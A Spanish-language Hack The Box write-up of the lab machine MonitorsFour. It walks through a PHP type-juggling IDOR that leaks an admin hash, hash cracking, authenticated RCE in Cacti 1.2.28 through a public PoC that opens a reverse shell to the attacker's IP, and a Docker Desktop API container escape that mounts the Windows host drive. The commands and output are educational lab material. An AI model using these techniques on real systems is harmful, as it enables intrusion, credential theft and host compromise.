MonitorsFour WriteUp
Table of Contents
MonitorsFour es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box. La cadena de ataque comienza explotando un endpoint con IDOR y comparación laxa de PHP para filtrar credenciales de administrador, continúa con ejecución remota de código en Cacti 1.2.28 mediante CVE-2025-24367 y concluye escapando del contenedor Docker abusando de la API del daemon expuesta sin autenticación en la subred interna de Docker Desktop (CVE-2025-9074).
🗺️ Cadena de Ataque
Reconocimiento → Puertos 80, 5985
│
▼
Enumeración de subdominios → cacti.monitorsfour.htb
│
▼
IDOR + PHP Type Juggling → /api/v1/user?token=0 → hash MD5 → marcus:wonderful1
│
▼
CVE-2025-24367 → Cacti 1.2.28 RCE autenticado → www-data en contenedor Docker
│
▼
user.txt → /home/marcus/user.txt
│
▼
CVE-2025-9074 → Docker API en 192.168.65.7:2375 → contenedor con C:\ montado → root 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
echo "10.129.38.79 monitorsfour.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1 — Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv monitorsfour.htb
Fase 2 — Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv monitorsfour.htb
| Puerto | Servicio | Detalle |
|---|---|---|
80 | HTTP | nginx — redirige a monitorsfour.htb |
5985 | WinRM | Microsoft HTTPAPI 2.0 (host Windows) |
💡 El puerto 5985 (WinRM) confirma que el host subyacente es Windows, aunque sirve contenedores Linux mediante Docker Desktop / WSL2.
Enumeración Web
El sitio principal http://monitorsfour.htb muestra una aplicación de monitorización. Enumeramos subdominios:
ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u "http://monitorsfour.htb" -H "Host: FUZZ.monitorsfour.htb" -fs 138
cacti [Status: 302, Size: ...]
🎯 Encontramos
cacti.monitorsfour.htb. Lo añadimos a/etc/hosts:
sudo sed -i 's/monitorsfour.htb/monitorsfour.htb cacti.monitorsfour.htb/' /etc/hosts
http://cacti.monitorsfour.htb expone una instancia de Cacti 1.2.28, visible en la propia página de login.
💉 Acceso Inicial
IDOR + PHP Type Juggling en /api/v1/user
El endpoint /user acepta un parámetro token. Sin token devuelve:
{"error":"Missing token parameter"}
Con un token incorrecto devuelve:
{"error":"Invalid or missing token"}
El servidor valida el token con comparación laxa de PHP (==). Aprovechamos que PHP trata cualquier string no numérico como 0 en comparaciones débiles, lo que permite que token=0 supere la validación y exponga todos los usuarios:
curl -s "http://monitorsfour.htb/user?token=0"
{
"id":2,
"username":"admin",
"email":"admin@monitorsfour.htb",
"password":"56b32eb43e6f15395f6c46c1c9e1cd36",
"role":"super user",
"token":"8024b78f83f102da4f",
"name":"Marcus Higgins",
"position":"System Administrator",
"dob":"1978-04-26",
"start_date":"2021-01-12",
"salary":"320800.00"
}
🔑 Hash MD5 recuperado:
56b32eb43e6f15395f6c46c1c9e1cd36
Crackeo del Hash
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hash.txt
john hash.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt
wonderful1 (?)
🔑 Credenciales obtenidas:
marcus:wonderful1
CVE-2025-24367 — RCE Autenticado en Cacti 1.2.28
🧠 Cacti ≤ 1.2.28 no sanea correctamente el campo de nombre en las plantillas de gráficos que se pasan a
rrdtool. Un usuario autenticado puede inyectar comandos de sistema operativo a través de ese campo, obteniendo ejecución remota de código como el usuario que ejecuta el proceso web.
Clonamos el PoC público:
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
Preparamos el listener y lanzamos el exploit:
penelope -p 8443
python3 exploit.py -url http://cacti.monitorsfour.htb -u marcus -p wonderful1 -i 10.10.14.100 -l 8443
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: xD5uO.php
[+] Got payload: /bash
[i] Created PHP filename: T01Pt.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80
Recibimos conexión:
www-data@821fbd6a43fa:~/html/cacti$ whoami && hostname
www-data
821fbd6a43fa
💡 El hostname
821fbd6a43faconfirma que estamos dentro de un contenedor Docker.
Flag de Usuario
cat /home/marcus/user.txt
🔺 Escalada de Privilegios
Enumeración del Contenedor
Comprobamos la red interna del contenedor:
cat /etc/resolv.conf
nameserver 127.0.0.11
💡 El DNS interno
127.0.0.11es el resolvedor embebido de Docker. La subred de Docker Desktop suele usar el rango192.168.65.0/24.
Escaneamos la subred de Docker Desktop en busca del daemon API:
for i in $(seq 1 10); do
curl -s --connect-timeout 1 http://192.168.65.$i:2375/version 2>/dev/null | grep -q "ApiVersion" && echo "192.168.65.$i:2375 OPEN"
done
192.168.65.7:2375 OPEN
🎯 La API del daemon de Docker está expuesta sin autenticación en
192.168.65.7:2375.
CVE-2025-9074 - Escape de Contenedor via Docker API
🧠 Docker Desktop ≤ 4.44.2 expone la API del engine en
192.168.65.7:2375sin ningún mecanismo de autenticación. Cualquier contenedor que pueda alcanzar esa IP puede crear nuevos contenedores con el sistema de ficheros del host montado, obteniendo acceso total aC:\.
Listamos las imágenes disponibles para saber cuál usar:
curl -s http://192.168.65.7:2375/images/json | grep -o '"RepoTags":\[[^]]*\]'
"RepoTags":["docker_setup-nginx-php:latest"]
"RepoTags":["docker_setup-mariadb:latest"]
"RepoTags":["alpine:latest"]
Paso 1 — Preparamos el JSON de configuración del contenedor en nuestra máquina atacante. El bind /mnt/host/c:/mnt/host_root es la ruta con la que Docker Desktop en Windows expone C:\ al interior de los contenedores Linux mediante WSL2. El Cmd ejecuta directamente el comando al arrancar, lo que nos permite leer el resultado con /logs sin necesidad de exec:
cat > /tmp/container.json << 'EOF'
{
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
"HostConfig": {
"Binds": ["/mnt/host/c:/mnt/host_root"]
},
"Tty": true,
"OpenStdin": true
}
EOF
python3 -m http.server 8000
Paso 2 — Desde la shell de www-data descargamos el JSON y creamos el contenedor:
curl http://<TU_IP>:8000/container.json -o /tmp/container.json
curl -X POST -H "Content-Type: application/json" \
-d @/tmp/container.json \
"http://192.168.65.7:2375/containers/create?name=pwned"
{"Id":"7d99df11ee0f9d29c093acb26f741bebda84e7d02c90097590c0791241075468","Warnings":[]}
Paso 3 — Iniciamos el contenedor:
curl -X POST "http://192.168.65.7:2375/containers/7d99df11ee0f/start"
Flag de Root
curl "http://192.168.65.7:2375/containers/7d99df11ee0f/logs?stdout=true"
¡Nos vemos en la próxima!

